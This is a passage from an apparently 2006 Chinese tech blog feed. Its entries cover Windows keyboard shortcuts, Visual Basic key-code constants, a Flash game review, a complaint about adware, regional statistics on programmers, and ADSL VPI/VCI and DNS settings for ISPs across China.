		  <summary type="html"><![CDATA[<P><STRONG>单独按Windows</STRONG>：显示或隐藏“开始”功能表 <BR>Windows+BREAK：显示“系统属性”对话框 <BR>Windows+D：显示桌面 <BR>Windows+M：最小化所有窗口 <BR>Windows+Shift+M：还原最小化的窗口 <BR>Windows+E：开启“资源管理器” <BR>Windows+F：查找文件或文件夹 <BR>Windows+CTRL+F：查找电脑 <BR>Windows+F1：显示Windows“帮助” <BR>Windows+R：开启“运行”对话框 <BR>Windows+U：开启“公用程序管理器” <BR>Windows+L：切换使用者（WindowsXP新功能） <BR><BR><STRONG>Ctrl快捷键</STRONG> <BR><BR>Ctrl+S保存 <BR>Ctrl+W关闭程序 <BR>Ctrl+N新建 <BR>Ctrl+O打开 <BR>Ctrl+Z撤销 <BR>Ctrl+F查找 <BR>Ctrl+X剪切 <BR>Ctrl+C复制 <BR>Ctrl+V粘贴 <BR>Ctrl+A全选 <BR>Ctrl+[缩小文字 <BR>Ctrl+]放大文字 <BR>Ctrl+B粗体 <BR>Ctrl+I斜体 <BR>Ctrl+U下划线 <BR>Ctrl+Shift输入法切换 <BR>Ctrl+空格中英文切换 <BR>Ctrl+回车QQ号中发送信息 <BR>Ctrl+Home光标快速移到文件头 <BR>Ctrl+End光标快速移到文件尾 <BR>Ctrl+Esc显示开始菜单 <BR>Ctrl+Shift+&lt;快速缩小文字 <BR>Ctrl+Shift+&gt;快速放大文字 <BR>Ctrl+F5在IE中强行刷新 <BR>Ctrl+拖动文件复制文件 <BR>Ctrl+Backspace启动\关闭输入法 <BR>拖动文件时按住Ctrl+Shift创建快捷方式 <BR><BR><BR><STRONG>Alt快捷键</STRONG> <BR><BR>Alt+F4关闭当前程序 <BR>Alt+空格+C关闭窗口 <BR>Alt+空格+N最小化当前窗口 <BR>Alt+空格+R恢复最小化窗口 <BR>Alt+空格+X最大化当前窗口 <BR>Alt+空格+M移动窗口 <BR>Alt+空格+S改变窗口大小 <BR>Alt+Tab两个程序交换 <BR>Alt+255QQ号中输入无名人 <BR>Alt+F打开文件菜单 <BR>Alt+V打开视图菜单 <BR>Alt+E打开编辑菜单 <BR>Alt+I打开插入菜单 <BR>Alt+O打开格式菜单 <BR>Alt+T打开工具菜单 <BR>Alt+A打开表格菜单 <BR>Alt+W打开窗口菜单 <BR>Alt+H打开帮助菜单 <BR>Alt+回车查看文件属性 <BR>Alt+双击文件查看文件属性 <BR>Alt+X关闭C语言 <BR><BR><BR><BR><STRONG>Shift快捷键</STRONG> <BR><BR>Shift+空格半\全角切换 <BR>Shift+右击右菜单打开方式 <BR>Shift+F10选中文件的右菜单 <BR>Shift+多级文件全部关闭 <BR>Shift+Del直接删除文件 <BR>Shift+＾处在中文标点符号半角在智能ABC中省曰号 <BR>Shift+\处在中文标点符号半角在智能ABC中顿号&nbsp;<BR><BR><STRONG>常规键盘快捷键</STRONG> <BR><BR>Ctrl+C复制。 <BR>Ctrl+X剪切。 <BR>Ctrl+V粘贴。 <BR>Ctrl+Z撤消。 <BR>DELETE删除。 <BR>Shift+Delete永久删除所选项，而不将它放到“回收站”中。 <BR>拖动某一项时按CTRL复制所选项。 <BR>拖动某一项时按CTRL+SHIFT创建所选项目的快捷键。 <BR>F2重新命名所选项目。 <BR>CTRL+向右键将插入点移动到下一个单词的起始处。 <BR>CTRL+向左键将插入点移动到前一个单词的起始处。 <BR>CTRL+向下键将插入点移动到下一段落的起始处。 <BR>CTRL+向上键将插入点移动到前一段落的起始处。 <BR>CTRL+SHIFT+任何箭头键突出显示一块文本。 <BR>SHIFT+任何箭头键在窗口或桌面上选择多项，或者选中文档中的文本。 <BR>Ctrl+A选中全部内容。 <BR>F3搜索文件或文件夹。 <BR>Alt+Enter查看所选项目的属性。 <BR>Alt+F4关闭当前项目或者退出当前程序。 <BR>ALT+Enter显示所选对象的属性。 <BR>Alt+空格键为当前窗口打开快捷菜单。 <BR>Ctrl+F4在允许同时打开多个文档的程序中关闭当前文档。 <BR>Alt+Tab在打开的项目之间切换。 <BR>Alt+Esc以项目打开的顺序循环切换。 <BR>F6在窗口或桌面上循环切换屏幕元素。 <BR>F4显示“我的电脑”和“Windows资源管理器”中的“地址”栏列表。 <BR>Shift+F10显示所选项的快捷菜单。 <BR>Alt+空格键显示当前窗口的“系统”菜单。 <BR>Ctrl+Esc显示“开始”菜单。 <BR>ALT+菜单名中带下划线的字母显示相应的菜单。 <BR>在打开的菜单上显示的命令名称中带有下划线的字母执行相应的命令。 <BR>F10激活当前程序中的菜单条。 <BR>右箭头键打开右边的下一菜单或者打开子菜单。 <BR>左箭头键打开左边的下一菜单或者关闭子菜单。 <BR>F5刷新当前窗口。 <BR>BackSpace在“我的电脑”或“Windows资源管理器”中查看上一层文件夹。 <BR>Esc取消当前任务。 <BR>将光盘插入到CD-ROM驱动器时按SHIFT键阻止光盘自动播放。 <BR><BR><STRONG>对话框快捷键</STRONG> <BR><BR>Ctrl+Tab在选项卡之间向前移动。 <BR>Ctrl+Shift+Tab在选项卡之间向后移动。 <BR>Tab在选项之间向前移动。 <BR>Shift+Tab在选项之间向后移动。 <BR>ALT+带下划线的字母执行相应的命令或选中相应的选项。 <BR>Enter执行活选项动或按钮所对应的命令。 <BR>空格键如果活选项动是复选框，则选中或清除该复选框。 <BR>箭头键活选项动是一组选项按钮时，请选中某个按钮。 <BR>F1显示帮助。 <BR>F4显示当前列表中的项目。 <BR>BackSpace如果在“另存为”或“打开”对话框中选中了某个文件夹，则打开上一级文件夹。 <BR><BR><STRONG>自然键盘快捷键</STRONG> <BR><BR>在“Microsoft自然键盘”或包含Windows徽标键()和“应用程序”键()的其他兼容键盘中，您可以使用以下快捷键。 <BR><BR>请按目的 <BR>显示或隐藏“开始”菜单。 <BR>win+BREAK显示“系统属性”对话框。 <BR>+D显示桌面。 <BR>+M最小化所有窗口。 <BR>+Shift+M还原最小化的窗口。 <BR>+E打开“我的电脑”。 <BR>+F搜索文件或文件夹。 <BR>CTRL++F搜索计算机。 <BR>+F1显示Windows帮助。 <BR>+L如果连接到网络域，则锁定您的计算机，或者如果没有连接到网络域，则切换用户。 <BR>+R打开“运行”对话框。 <BR>显示所选项的快捷菜单。 <BR>+U打开“工具管理器”。 <BR><BR><BR><STRONG>辅助键盘快捷键</STRONG> <BR><BR>请按目的 <BR>右侧SHIFT键八秒钟切换“筛选键”的开和关。 <BR>左边的ALT+左边的SHIFT+PRINTSCREEN切换“高对比度”的开和关。 <BR>左边的ALT+左边的SHIFT+NUMLOCK切换“鼠标键”的开和关。 <BR>Shift键五次切换“粘滞键”的开和关。 <BR>NumLock键五秒钟切换“切换键”的开和关。 <BR>+U打开“工具管理器”。 <BR><BR>“Windows资源管理器”键盘快捷键 <BR><BR>请按目的 <BR>END显示当前窗口的底端。 <BR>主页显示当前窗口的顶端。 <BR>NUMLOCK+数字键盘的星号(*)显示所选文件夹的所有子文件夹。 <BR>NUMLOCK+数字键盘的加号(+)显示所选文件夹的内容。 <BR>NUMLOCK+数字键盘的减号(-)折叠所选的文件夹。 <BR>左箭头键当前所选项 <BR>处于展开状态时折叠该项，或选定其父文件夹。 <BR>右箭头键当前所选项处于折叠状态时展开该项，或选第一个子文件夹。</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=339" /> 
	  <id>http://www.openx.cn/default.asp?id=339</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Goggles-好玩的GOOGLE MAP飞行模拟器游戏(flash)]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-08-08T17:14:18+08:00</updated>
	  <published>2006-08-08T17:14:18+08:00</published>
		  <summary type="html"><![CDATA[<SPAN style="FONT-SIZE: 130%"><A href="http://www.isoma.net/games/goggles.html"><FONT color=#aa77aa size=4>http://www.isoma.net/games/goggles.html</FONT></A><BR><FONT size=4>在</FONT><A href="http://digg.com/playable_web_games/Goggles_The_Google_Maps_flight_simulator"><FONT color=#99aadd size=4>DIGG</FONT></A><FONT size=4>上翻到的，内容是你操纵飞机飞翔在GOOGLE MAP(可选择5个城市)上，这5个城市分别是伦敦、纽约、巴黎、东京、华盛顿。<BR>键盘左右键是2个方向的旋转，前后键是分别是减低飞行高度(降得过低会坠毁哦)和提升飞行高度，A和Z键是控制飞机的速度，空格键是丢炸弹(开始以为是发子弹，但是你一直拉起机头以及提高飞行速度你就会发现是丢炸弹)。<BR>在GOOGLE MAP的场景中飞行真是有趣，可惜互动不是很多，不过这个游戏得到这么多关注，应该会有更多功能吧，值得期待。</FONT><BR></SPAN>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=338" /> 
	  <id>http://www.openx.cn/default.asp?id=338</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[发现一网站不错~]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-08-07T11:46:56+08:00</updated>
	  <published>2006-08-07T11:46:56+08:00</published>
		  <summary type="html"><![CDATA[<A href="http://www.goowy.com">http://www.goowy.com</A>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=337" /> 
	  <id>http://www.openx.cn/default.asp?id=337</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[可恶的流氓软件!我鄙视它作者!]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-08-04T09:12:50+08:00</updated>
	  <published>2006-08-04T09:12:50+08:00</published>
		  <summary type="html"><![CDATA[<P>一个不小心机子被按上了极其无聊,极其可恶的流氓软件~</P>
<P>丫丫的~自己不定时弹出页面~烦死了~</P>
<P>&nbsp;</P>
<P>更可恶的还是用线程注入的手段加到系统进程~~~删不掉瓦~~~</P>
<P>&nbsp;</P>
<P>谁有什么好的解决办法瓦~</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=336" /> 
	  <id>http://www.openx.cn/default.asp?id=336</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[KeyCode常数用法]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-07-31T15:15:52+08:00</updated>
	  <published>2006-07-31T15:15:52+08:00</published>
		  <summary type="html"><![CDATA[<P>KeyCode常数用法<BR>--------------------------------------------------------------------------------<BR><BR>　　可在代码中的任何地方用下列常数代替实际值：<BR>　　<BR>　　常数 值 描述<BR>　　<BR>　　vbKeyLButton 0x1 鼠标左键<BR>　　vbKeyRButton 0x2 鼠标右键<BR>　　vbKeyCancel 0x3 CANCEL 键<BR>　　vbKeyMButton 0x4 鼠标中键<BR>　　vbKeyBack 0x8 BACKSPACE 键<BR>　　vbKeyTab 0x9 TAB 键<BR>　　vbKeyClear 0xC CLEAR 键<BR>　　vbKeyReturn 0xD ENTER 键<BR>　　vbKeyShift 0x10 SHIFT 键<BR>　　vbKeyControl 0x11 CTRL 键<BR>　　vbKeyMenu 0x12 MENU 键<BR>　　vbKeyPause 0x13 PAUSE 键<BR>　　vbKeyCapital 0x14 CAPS LOCK 键<BR>　　vbKeyEscape 0x1B ESC 键<BR>　　vbKeySpace 0x20 SPACEBAR 键<BR>　　vbKeyPageUp 0x21 PAGE UP 键<BR>　　vbKeyPageDown 0x22 PAGE DOWN 键<BR>　　vbKeyEnd 0x23 END 键<BR>　　vbKeyHome 0x24 HOME 键<BR>　　vbKeyLeft 0x25 LEFT ARROW 键<BR>　　vbKeyUp 0x26 UP ARROW 键<BR>　　vbKeyRight 0x27 RIGHT ARROW 键<BR>　　vbKeyDown 0x28 DOWN ARROW 键<BR>　　vbKeySelect 0x29 SELECT 键<BR>　　vbKeyPrint 0x2A PRINT SCREEN 键<BR>　　vbKeyExecute 0x2B EXECUTE 键<BR>　　vbKeySnapshot 0x2C SNAPSHOT 键<BR>　　vbKeyInsert 0x2D INSERT 键<BR>　　vbKeyDelete 0x2E DELETE 键<BR>　　vbKeyHelp 0x2F HELP 键<BR>　　vbKeyNumlock 0x90 NUM LOCK 键<BR>　　A 至 Z 键与 A 杴 Z 字母的 ASCII 码相同：<BR>　　<BR>　　常数 值 描述<BR>　　vbKeyA 65 A 键<BR>　　vbKeyB 66 B 键<BR>　　vbKeyC 67 C 键<BR>　　vbKeyD 68 D 键<BR>　　vbKeyE 69 E 键<BR>　　vbKeyF 70 F 键<BR>　　vbKeyG 71 G 键<BR>　　vbKeyH 72 H 键<BR>　　vbKeyI 73 I 键<BR>　　vbKeyJ 74 J 键<BR>　　vbKeyK 75 K 键<BR>　　vbKeyL 76 L 键<BR>　　vbKeyM 77 M 键<BR>　　vbKeyN 78 N 键<BR>　　vbKeyO 79 O 键<BR>　　vbKeyP 80 P 键<BR>　　vbKeyQ 81 Q 键<BR>　　vbKeyR 82 R 键<BR>　　vbKeyS 83 S 键<BR>　　vbKeyT 84 T 键<BR>　　vbKeyU 85 U 键<BR>　　vbKeyV 86 V 键<BR>　　vbKeyW 87 W 键<BR>　　vbKeyX 88 X 键<BR>　　vbKeyY 89 Y 键<BR>　　vbKeyZ 90 Z 键<BR>　　0 至 9 键与数字 0 杴 9 的 ASCII 码相同：<BR>　　<BR>　　常数 值 描述<BR>　　<BR>　　vbKey0 48 0 键<BR>　　vbKey1 49 1 键<BR>　　vbKey2 50 2 键<BR>　　vbKey3 51 3 键<BR>　　vbKey4 52 4 键<BR>　　vbKey5 53 5 键<BR>　　vbKey6 54 6 键<BR>　　vbKey7 55 7 键<BR>　　vbKey8 56 8 键<BR>　　vbKey9 57 9 键<BR>　　下列常数代表数字键盘上的键：<BR>　　<BR>　　常数 值 描述<BR>　　vbKeyNumpad0 0x60 0 键<BR>　　vbKeyNumpad1 0x61 1 键<BR>　　vbKeyNumpad2 0x62 2 键<BR>　　vbKeyNumpad3 0x63 3 键<BR>　　vbKeyNumpad4 0x64 4 键<BR>　　vbKeyNumpad5 0x65 5 键<BR>　　vbKeyNumpad6 0x66 6 键<BR>　　vbKeyNumpad7 0x67 7 键<BR>　　vbKeyNumpad8 0x68 8 键<BR>　　vbKeyNumpad9 0x69 9 键<BR>　　vbKeyMultiply 0x6A MULTIPLICATION SIGN (*) 键<BR>　　vbKeyAdd 0x6B PLUS SIGN (+) 键<BR>　　vbKeySeparator 0x6C ENTER 键<BR>　　vbKeySubtract 0x6D MINUS SIGN (杴) 键<BR>　　vbKeyDecimal 0x6E DECIMAL POINT (.) 键<BR>　　vbKeyDivide 0x6F DIVISION SIGN (/) 键<BR>　　下列常数代表功能键：<BR>　　<BR>　　常数 值 描述<BR>　　<BR>　　vbKeyF1 0x70 F1 键<BR>　　vbKeyF2 0x71 F2 键<BR>　　vbKeyF3 0x72 F3 键<BR>　　vbKeyF4 0x73 F4 键<BR>　　vbKeyF5 0x74 F5 键<BR>　　vbKeyF6 0x75 F6 键<BR>　　vbKeyF7 0x76 F7 键<BR>　　vbKeyF8 0x77 F8 键<BR>　　vbKeyF9 0x78 F9 键<BR>　　vbKeyF10 0x79 F10 键<BR>　　vbKeyF11 0x7A F11 键<BR>　　vbKeyF12 0x7B F12 键<BR>　　vbKeyF13 0x7C F13 键<BR>　　vbKeyF14 0x7D F14 键<BR>　　vbKeyF15 0x7E F15 键<BR>　　vbKeyF16 0x7F F16 键<BR></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=335" /> 
	  <id>http://www.openx.cn/default.asp?id=335</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[中国程序员的地域分布图]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-07-31T15:07:56+08:00</updated>
	  <published>2006-07-31T15:07:56+08:00</published>
		  <summary type="html"><![CDATA[<DIV class=content>下面这张图并不是我个人的编造，而是我基于中国最大的软件开发人员<A href="http://www.chinahtml.com/" target=_blank>网站</A>CSDN的平台，在最近做一个专题的时候，在页面上放置了一个计数器，通过对地域的统计而的出来的结果。这个样本的数量超过数千例，因此我认为基本上可以比较准确的反应中国程序员的分部情况。<BR><BR>&nbsp;　　从中，大家可以看到，北京，广东，上海，江苏是程序员分部比较多的地域。而中西部地区明显较少。<BR><BR>
<TABLE width="90%" align=center>
<TBODY>
<TR>
<TD>
<DIV align=center>[img]/attachments/csdn.jpg[/img]</DIV></TD></TR></TBODY></TABLE><BR>　　下面我将各个地域的统计比例也放上来，供大家参考。 
<P>　　北京 18.77 % <BR>　　广东 17.8 % <BR>　　江苏 10.77 % <BR>　　上海 6.3 % <BR>　　浙江 4.72 % <BR>　　湖北 4.36 % <BR>　　四川 4.36 % <BR>　　湖南 3.27 % <BR>　　山东 2.78 % <BR>　　辽宁 2.18 % <BR>　　福建 2.18 % <BR>　　陕西 1.94 % <BR>　　广西 1.82 % <BR>　　安徽 1.57 % <BR>　　黑龙江 1.45 % <BR>　　河北 1.45 % <BR>　　重庆 1.33 % <BR>　　云南 1.09 % <BR>　　天津 0.85 % <BR>　　吉林 0.73 % <BR>　　河南 0.73 % <BR>　　江西 0.61 % <BR>　　香港 0.61 % <BR>　　山西 0.48 % <BR>　　贵州 0.48 % <BR>　　新疆 0.48 % <BR>　　内蒙古 0.24 % <BR>　　海南 0.24 % <BR>　　台湾 0.24 % <BR>　　宁夏 0.24 % <BR>　　西藏 0 % <BR>　　澳门 0 % <BR>　　甘肃 0 % <BR>　　青海 0 % <BR>　　其它地区 5.93 %<BR></P></DIV>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=334" /> 
	  <id>http://www.openx.cn/default.asp?id=334</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[全国DNS和ADSLVPI VCI 整理版]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-07-31T15:04:06+08:00</updated>
	  <published>2006-07-31T15:04:06+08:00</published>
		  <summary type="html"><![CDATA[石家庄的VPI,VCI值 <BR>NOKIA局端 VPI #= 0 VCI #= 100 <BR>华为局端 VPI #= 0 VCI #= 35 <BR>石家庄505****，775****，365****的局端设备是华为 <BR>上海嘉定区 <BR>VPI 0 <BR>VCI 35 <BR><BR>大庆0 35 <BR><BR>重庆电信： <BR>VPI:8 <BR>VCI:35（局端为实达） <BR><BR>重庆铁通 <BR>VPI:0 <BR>VCI:35（局端为伊泰克） <BR>重庆市忠县： <BR>局端：华为MA5100 <BR>用户端：长虹 CH-500E <BR>VCI：0 35 <BR>重庆北碚 <BR>0.35 <BR>重庆 0 35 <BR>重庆 61.128.128.68 <BR>61.128.192.4 <BR><BR><BR>佳木斯网通 <BR>VPI 8 <BR>VCI 35 <BR><BR>广州 <BR>VPI 8 <BR>VCI 35 <BR><BR>山东临沂 <BR>VPI:8 <BR>VCI:31 <BR><BR>长春一汽 8/35 <BR><BR>深圳的 <BR>NOKIA局端 VPI #= 0 VCI #= 100 <BR>华为局端 VPI #= 8 VCI #= 35 <BR><BR>南京:8/35 <BR><BR>常德0/35 <BR><BR>广西柳州电信 <BR>阿尔卡特局端： <BR>VPI:0 <BR>VCI:35 <BR>西门子局端： <BR>VPI:8 <BR>VCI:35 <BR><BR>广西柳州铁通 <BR>VPI:8 <BR>VCI:81 <BR><BR><BR>福州点心：0*200 <BR><BR>深圳拨打26727273获得<A href="http://www.chinadu.cn/" target=_blank>技术</A>支持 <BR>打1000号之后按 1 再按 2 以获得vci和vpi的数值 <BR><BR>辽宁/营口。8/81 <BR><BR>大庆：0/35 <BR><BR>武汉/武昌 0/30 <BR><BR>河北保定 <BR>VPI：0 <BR>VCI：100 <BR><BR>成都1/33 <BR><BR>大连：vpi:8 <BR>vci:35 <BR>很早的试验用户是0，35 <BR><BR>大庆也为0/35或8/35 <BR><BR>河北沧州：0/ 35 <BR><BR>北京网通 <BR>0/35 <BR><BR>吉林：8/35 <BR><BR>杭州8/35 <BR><BR>湖北三峽 0/ 33 <BR><BR>西安铁通0/35 <BR><BR>攀枝花 8/35 <BR><BR>山东冠县0./40 <BR><BR>山东高密 <BR>VPI 8 <BR>VCI 81 <BR><BR>江西赣州：vpi/vci： 0/35 <BR><BR>西安电信 <BR>vpi:8 <BR>vci:35 <BR><BR>东营通讯公司 <BR>VPI 8 <BR>VCI 88 <BR><BR>福州电信　vpi 0 vci 200 <BR><BR>广东梅州：8/35 <BR><BR>南宁电信，0/35 <BR><BR>西安电信高新局 <BR>8 35 <BR><BR>广东省河源市龙川县 VPI=8.VCI=81 <BR><BR>四川乐山的vpi/vci值0/35 <BR><BR>西安铁通的0 /35 <BR><BR>河南濮阳,中国电信:0/35 <BR><BR>山东济宁 <BR>VPI:8 <BR>VCI:81 <BR><BR>东营电信好象好几个数值：有一个是这样的，VPI：8，VCI：248 <BR>牡丹江 0/ 35 <BR><BR><BR>杭州电信 <BR>阿尔卡特局端： <BR>VPI:8 <BR>VCI:35 <BR>爱立信局端： <BR>VPI:0 <BR>VCI:32 <BR>老用户用的，用爱立信猫 <BR>华为局端： <BR>VPI:8 <BR>VCI:35 <BR><BR>遵义 VPI:0 VCI :35 <BR><BR>武汉电信：VPI：0 VCI：32 <BR><BR>东莞: <BR><BR>NOKIA局端:0....100 <BR><BR>朗讯局端:8......35 <BR><BR>四川内江 <BR>VPI:8 <BR>VCI:35 <BR><BR>广东开平： <BR>VPI: 0 <BR>VCI: 100 <BR><BR>贵阳 0/35 <BR><BR>山东潍坊8/81 <BR><BR><BR>内蒙通辽： <BR>8 <BR>81 <BR><BR>江苏江阴的是 <BR>0/100 <BR><BR>无锡 0/ 100 <BR><BR>湖北黄冈电信 <BR>ADSL 连接模式 : RFC 1483 (MPoA) Routing Mode <BR><BR>VPI : 8 <BR>VCI : 81 <BR><BR>广东汕头 <BR><BR>VPI 8 <BR>VCI 35 <BR>DNS 202.96.128.143 <BR>202.96.128.68 <BR><BR>广西河池：电信：0-35 <BR>河池铁通：0-35 <BR><BR>广东韶关 <BR>VPI 8 <BR>VCI 81 <BR><BR>四川宜宾: <BR>VPI:0 <BR>VCI:35 <BR><BR><BR>天津 0 /35 <BR><BR>福建莆田仙游 0/67 <BR><BR>顺德 <BR>VPI:8 <BR>VCI:81 <BR><BR><BR>福建福清 <BR>VPI=0 <BR>VCI=35 <BR><BR>湖南 <BR><BR>长沙 VPI=0 VCI=32 <BR>岳阳 VPI=8 VCI=81 <BR>郴州 0 35 <BR>株洲 8 35 <BR>桃江 vpi 8 vci 81 <BR>主DNS 202.103.8.81 <BR>幅 202.103.96.68 <BR>湖南 0 35 211.98.2.4 <BR>长沙 0 32 202.103.96.68 202.103.100.206 202.103.96.112 <BR>娄底 8 81 202.103.88.3 <BR>202.103.100.100 <BR><BR>齐鲁石化 <BR>VPI:0 <BR>VCI:35 <BR><BR>甘肃张掖华为局端，0/32 <BR><BR>福州0/200 <BR><BR>安徽安庆 <BR>局端华为8,35 中兴8,81 <BR><BR>淮南 <BR>0/35 <BR><BR>海南0/35 <BR><BR>武汉，南湖 0：32 <BR><BR>202.103.24.68 <BR>202.103.0.117 <BR><BR>内蒙古网通 0 35 德州仪器 <BR><BR>常熟 <BR>vpi 0 <BR>vci 32 <BR><BR><BR>浙江温州： <BR>VPI：8 <BR>VCI:35 <BR><BR>湖北 荆州 <BR><BR>VPI 0 <BR>VCI 33 <BR><BR>唐山 0 /35 <BR><BR>惠州的 <BR>vpi：0 <BR>vci：100 <BR><BR>贵州省贵阳市 <BR>0 35 <BR><BR>江西省宜春市 <BR>0/35 <BR>虚电路值为6 <BR><BR>北京0,35 <BR>江西 <BR>0,35 <BR><BR>山东滨州 <BR>0 40 <BR><BR>山西大同 铁通 <BR>0 32 <BR><BR>西安电信是：0 32 <BR><BR>山东淄博:VPI/VCI 8/81 <BR><BR>宁夏银川 <BR>8 35 <BR><BR>内蒙古呼伦贝尔市 <BR>8 35 <BR>呼伦贝尔市下设的14个旗市均为8/35 <BR><BR>湖北宜昌市夷陵区 <BR>0 35 <BR><BR>贵州省贵阳市电信 <BR>vpi 0 ，vci 35 <BR><BR>辽宁 葫芦岛市 8/81 <BR><BR>咸阳铁通 <BR>8/81 <BR><BR>沈阳网通 <BR>8 35 <BR><BR>上海浦东,电信ADSL: <BR>VPI/VCI:8/35 <BR><BR>四川南充电信 <BR>VPI:0 <BR>VCI:35 <BR><BR>江西宜春:8/81 <BR><BR>武汉武昌区:0 32 <BR><BR>辽宁辽阳 <BR>VPI 8 <BR>VCI 35 <BR><BR>甘肃 天水 网通 0 /32 <BR><BR>地名 VPI VCI DNS <BR>北京 0 35 202.106.196.115 <BR>天津 0 35 202.99.96.68 <BR>广西 0 35 202.103.224.68 <BR>202.103.225.68 <BR>南宁 0 35 202.103.224.68 <BR>梧州 0 35 主　202.103.224.68 <BR>　 备　202.103.229.40　 <BR><BR>玉林 0 35 202.103.224.68 <BR>柳州 0 35 202.103.225.68（主用） <BR>202.103.224.68（备用） <BR><BR>云南 0 35 61.166.150.101 <BR>普洱 0 35 61.166.150.101 <BR>61.166.15.170 <BR>兰州 0 32 <BR>西安 8 35 <BR>长春 8 35 <BR>吉林市 <BR>0 38 202.98.0.68 <BR>0 39 202.98.5.68 <BR><BR>哈尔滨 8 35 <BR>武汉 0 32 202.103.24.68 <BR>新疆乌鲁木齐 0 32 61.128.99.133 <BR>61.128.99.134 <BR>顺德 8 35 202.96.128.68 <BR>　8 81 202.96.128.68 <BR><BR>广州 8 32 202.96.128.68 <BR>8 35 202.96.128.110 <BR><BR>花都、从化 8 35 <BR>中山 8 35 202.96.128.68 <BR>深圳 8 35 202.96.134.133 <BR><BR>佛山高明区 0 100 202.96.128.68 <BR>河源 8 81 202.96.128.143 <BR>202.96.128.43 <BR>惠东 0 100 <BR>东莞 8 35 <BR>从化 8 35 202.96.128.68 <BR>湛江 0 80 202.96.128.68 <BR>8 81 202.96.128.143 <BR>0 100 202.96.128.68 <BR><BR>阳江 <BR>8 35 202.96.128.68 <BR>202.96.135.133 <BR>南海 0 100 202.96.128.68 <BR>202.96.134.133 <BR>江門 0 100 202.96.128.68 <BR>汕尾 0 35 <BR>珠海 8 35 <BR>斗门 0 100 <BR>汕头地区 8 81 DNS1：202.96.128.143 <BR>DMS2：202.96.128.68 <BR>汕头 0 35 <BR>东莞 0 100 <BR>肈庆 <BR>8 81 主控DNS:61.140.7.67 <BR>辅助DNS：202.96.134.133 <BR>主DNS:202.96.128.68 <BR>辅DNS:202.96.128.143 <BR><BR>佛山 8 35 202.96.128.68 <BR>惠州 0 100 <BR>福清 0 200 <BR>揭阳 8 81 <BR>秦皇岛 0 35 主：202.99.160.68 <BR>备:202.99.166.4 <BR><BR>浙江衢州 8 81 主：202.101.172.37 <BR>备:202.96.104.18 <BR>杭州 <BR>8 35 202.101.172.35 <BR>0 32 202.96.104.18 <BR><BR>辽宁 0 35 <BR>辽宁抚顺铁通 8 32 210．52．149．2 <BR>211．98．2．4 <BR>202．96．64．68 网关：10．0．1．254（固定IP） <BR><BR>河南安阳 8 81 202.102.224.68 <BR>202.102.227.68 <BR>濮阳 0 35 202.102.224.68 <BR>202.102.227.68 <BR>驻马店 0 35 202.102.224.68 <BR>河南铁通 0 35 211.98.192.3 <BR>202.102.224.68 <BR>山东 202.102.134.68 <BR>山东省枣庄 8 81 <BR><BR>四川内江（电信）8 35 61.139.46.90 61.139.2.69 <BR>（网通）0 35 221.10.251.196 221.10.251.197 <BR><BR>贵州六盘水 0 35 202.98.198.168 <BR>福建 0 200 202.101.98.55 <BR>202.101.98.54 <BR>南平 0 35 202.101.115.55 <BR>厦门 8 35 <BR>福州 0 200 202.101.98.55 <BR>龙岩 0 35 202.101.98.55 <BR>202.101.113.55 <BR><BR>三明 0 100 202.101.114.55 <BR>陕西榆林 0 35 主 61.134.1.9 <BR>备 61.134.1.4 <BR>安徽合肥 0 35 202.102.192.68 <BR>0 32 202.102.192.68 <BR>0 33 202.102.192.68 <BR><BR>中原油田 8 81 <BR><BR>河南焦作 0 35 10.255.0.68 <BR>202.102.227.68 <BR><BR>上海 8 81 202.96.209.5 <BR>202.96.209.133 <BR>江西南昌 0 35 <BR>樟树市 0 35 　主202.101.224.68 <BR>备202.101.226.68 <BR>江西赣州 0 35 218.87.132.1 <BR>218.87.142.1 <BR><BR>各大网站DNS列表 <BR>天府热线DNS：61.139.2.69 <BR>长春163　　：202.98.0.68 <BR>　　　　　　 202.98.3.68 <BR>263在线　　：211.100.2.130 <BR>　　　　　　 211.100.1.10 <BR>中国万网　 ：210.79.232.248 <BR>　　DNS　　：210.192.103.50　　 (dns1.hichina.com) <BR>　　DNS　　：202.106.169.100　　(dns2.hichina.com) <BR>新网　　　 ：211.99.199.194 <BR>　　　　　 ：211.99.199.195 <BR>263IDC　　 ：211.100.2.130　　(NS.263IDC.COM) <BR>　　　　　 ：211.100.1.10 　　(NSB.263IDC.COM) <BR>其他省市自治区： <BR><BR>香港 ns1.netvigator.com 205.252.144.228 